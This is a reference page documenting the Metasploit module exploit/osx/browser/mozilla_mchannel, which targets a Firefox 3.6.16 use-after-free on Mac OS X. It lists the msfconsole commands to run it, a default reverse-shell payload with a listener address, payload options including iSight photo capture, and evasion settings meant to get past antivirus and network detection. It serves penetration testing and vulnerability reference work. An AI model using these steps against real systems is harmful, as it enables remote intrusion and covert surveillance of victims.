Mozilla Firefox 3.6.16 mChannel Use-After-Free - Metasploit
This page contains detailed information about how to use the exploit/osx/browser/mozilla_mchannel metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Mozilla Firefox 3.6.16 mChannel Use-After-Free
Module: exploit/osx/browser/mozilla_mchannel
Source code: modules/exploits/osx/browser/mozilla_mchannel.rb
Disclosure date: 2011-05-10
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2011-0065
This module exploits a use-after-free vulnerability in Mozilla Firefox 3.6.16. An OBJECT element, mChannel, can be freed via the OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel becomes a dangling pointer and can be reused when setting the OBJECTs data attribute. This module has been tested on Mac OS X 10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/osx/browser/mozilla_mchannel
msf exploit(mozilla_mchannel) > exploit
Go back to menu.
Msfconsole Usage
Here is how the osx/browser/mozilla_mchannel exploit module looks in the msfconsole:
msf6 > use exploit/osx/browser/mozilla_mchannel
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(osx/browser/mozilla_mchannel) > show info
Name: Mozilla Firefox 3.6.16 mChannel Use-After-Free
Module: exploit/osx/browser/mozilla_mchannel
Platform: OSX
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2011-05-10
Provided by:
regenrecht
Rh0
argp <[email protected]>
Available targets:
Id Name
-- ----
0 Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Space: 1024
Description:
This module exploits a use-after-free vulnerability in Mozilla
Firefox 3.6.16. An OBJECT element, mChannel, can be freed via the
OnChannelRedirect method of the nsIChannelEventSink Interface.
mChannel becomes a dangling pointer and can be reused when setting
the OBJECTs data attribute. This module has been tested on Mac OS X
10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3.
References:
https://nvd.nist.gov/vuln/detail/CVE-2011-0065
OSVDB (72085)
https://bugzilla.mozilla.org/show_bug.cgi?id=634986
http://www.mozilla.org/security/announce/2011/mfsa2011-13.html
Module Options
This is a complete list of options available in the osx/browser/mozilla_mchannel exploit:
msf6 exploit(osx/browser/mozilla_mchannel) > show options
Module options (exploit/osx/browser/mozilla_mchannel):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3)
Advanced Options
Here is a complete list of advanced options supported by the osx/browser/mozilla_mchannel exploit:
msf6 exploit(osx/browser/mozilla_mchannel) > show advanced
Module advanced options (exploit/osx/browser/mozilla_mchannel):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/browser/mozilla_mchannel module can exploit:
msf6 exploit(osx/browser/mozilla_mchannel) > show targets
Exploit targets:
Id Name
-- ----
0 Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/browser/mozilla_mchannel exploit:
msf6 exploit(osx/browser/mozilla_mchannel) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/osx/x86/bundleinject/bind_tcp normal No Mac OS X Inject Mach-O Bundle, Bind TCP Stager
6 payload/osx/x86/bundleinject/reverse_tcp normal No Mac OS X Inject Mach-O Bundle, Reverse TCP Stager
7 payload/osx/x86/exec normal No OS X Execute Command
8 payload/osx/x86/isight/bind_tcp normal No Mac OS X x86 iSight Photo Capture, Bind TCP Stager
9 payload/osx/x86/isight/reverse_tcp normal No Mac OS X x86 iSight Photo Capture, Reverse TCP Stager
10 payload/osx/x86/shell_bind_tcp normal No OS X Command Shell, Bind TCP Inline
11 payload/osx/x86/shell_reverse_tcp normal No OS X Command Shell, Reverse TCP Inline
12 payload/osx/x86/vforkshell/bind_tcp normal No OS X (vfork) Command Shell, Bind TCP Stager
13 payload/osx/x86/vforkshell/reverse_tcp normal No OS X (vfork) Command Shell, Reverse TCP Stager
14 payload/osx/x86/vforkshell_bind_tcp normal No OS X (vfork) Command Shell, Bind TCP Inline
15 payload/osx/x86/vforkshell_reverse_tcp normal No OS X (vfork) Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the osx/browser/mozilla_mchannel exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/browser/mozilla_mchannel) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target not supported: <AGENT>
Here is a relevant code snippet related to the "Target not supported: <AGENT>" error message:
78:
79: # check for non vulnerable targets
80: agent = request.headers['User-Agent']
81:
82: if agent !~ /Intel Mac OS X 10\.6/ or agent !~ /Intel Mac OS X 10\.7/ and agent !~ /Firefox\/3\.6\.16/
83: vprint_error("Target not supported: #{agent}")
84: send_not_found(cli)
85: return
86: end
87:
88: # re-generate the payload
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2815 Merged Pull Request: Make gsubs compliant with the new indentation standard
- #2634 Merged Pull Request: Reduce number of modules available on BrowserAutopwn
- #2525 Merged Pull Request: Change module boilerplate
- #343 Merged Pull Request: Http print standardization
- #152 Merged Pull Request: Modified (and tested) to work on Lion 10.7.2 and 10.7.3
- #97 Merged Pull Request: Firefox 3.6.16 mChannel exploit for Mac OS X 10.6.8, 10.6.7 and 10.6.6
References
- CVE-2011-0065
- OSVDB (72085)
- https://bugzilla.mozilla.org/show_bug.cgi?id=634986
- http://www.mozilla.org/security/announce/2011/mfsa2011-13.html
See Also
Check also the following modules related to this module:
- exploit/windows/browser/mozilla_mchannel
- exploit/osx/browser/adobe_flash_delete_range_tl_op
- exploit/osx/browser/osx_gatekeeper_bypass
- exploit/osx/browser/safari_file_policy
- exploit/osx/browser/safari_in_operator_side_effect
- exploit/osx/browser/safari_metadata_archive
- exploit/osx/browser/safari_proxy_object_type_confusion
- exploit/osx/browser/safari_user_assisted_applescript_exec
- exploit/osx/browser/safari_user_assisted_download_launch
- exploit/osx/browser/software_update
- exploit/multi/browser/mozilla_compareto
- exploit/multi/browser/mozilla_navigatorjava
- exploit/windows/browser/mozilla_attribchildremoved
- exploit/windows/browser/mozilla_firefox_onreadystatechange
- exploit/windows/browser/mozilla_firefox_xmlserializer
- exploit/windows/browser/mozilla_interleaved_write
- exploit/windows/browser/mozilla_nssvgvalue
- exploit/windows/browser/mozilla_nstreerange
- exploit/windows/browser/mozilla_reduceright
Related Nessus plugins:
- RHEL 4 / 5 / 6 : firefox (RHSA-2011:0471)
- Firefox < 3.5.19 Multiple Vulnerabilities
- Firefox 3.6 < 3.6.17 Multiple Vulnerabilities
- SeaMonkey < 2.0.14 Multiple Vulnerabilities
- CentOS 4 / 5 : firefox (CESA-2011:0471)
- Debian DSA-2227-1 : iceape - several vulnerabilities
- Debian DSA-2228-1 : iceweasel - several vulnerabilities
- Mandriva Linux Security Advisory : firefox (MDVSA-2011:079)
- SuSE 11.1 Security Update : Mozilla Firefox (SAT Patch Number 4463)
- SuSE 11.1 Security Update : Mozilla-XULrunner (SAT Patch Number 4461)
Authors
- regenrecht
- Rh0
- argp <argp[at]census-labs.com>
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.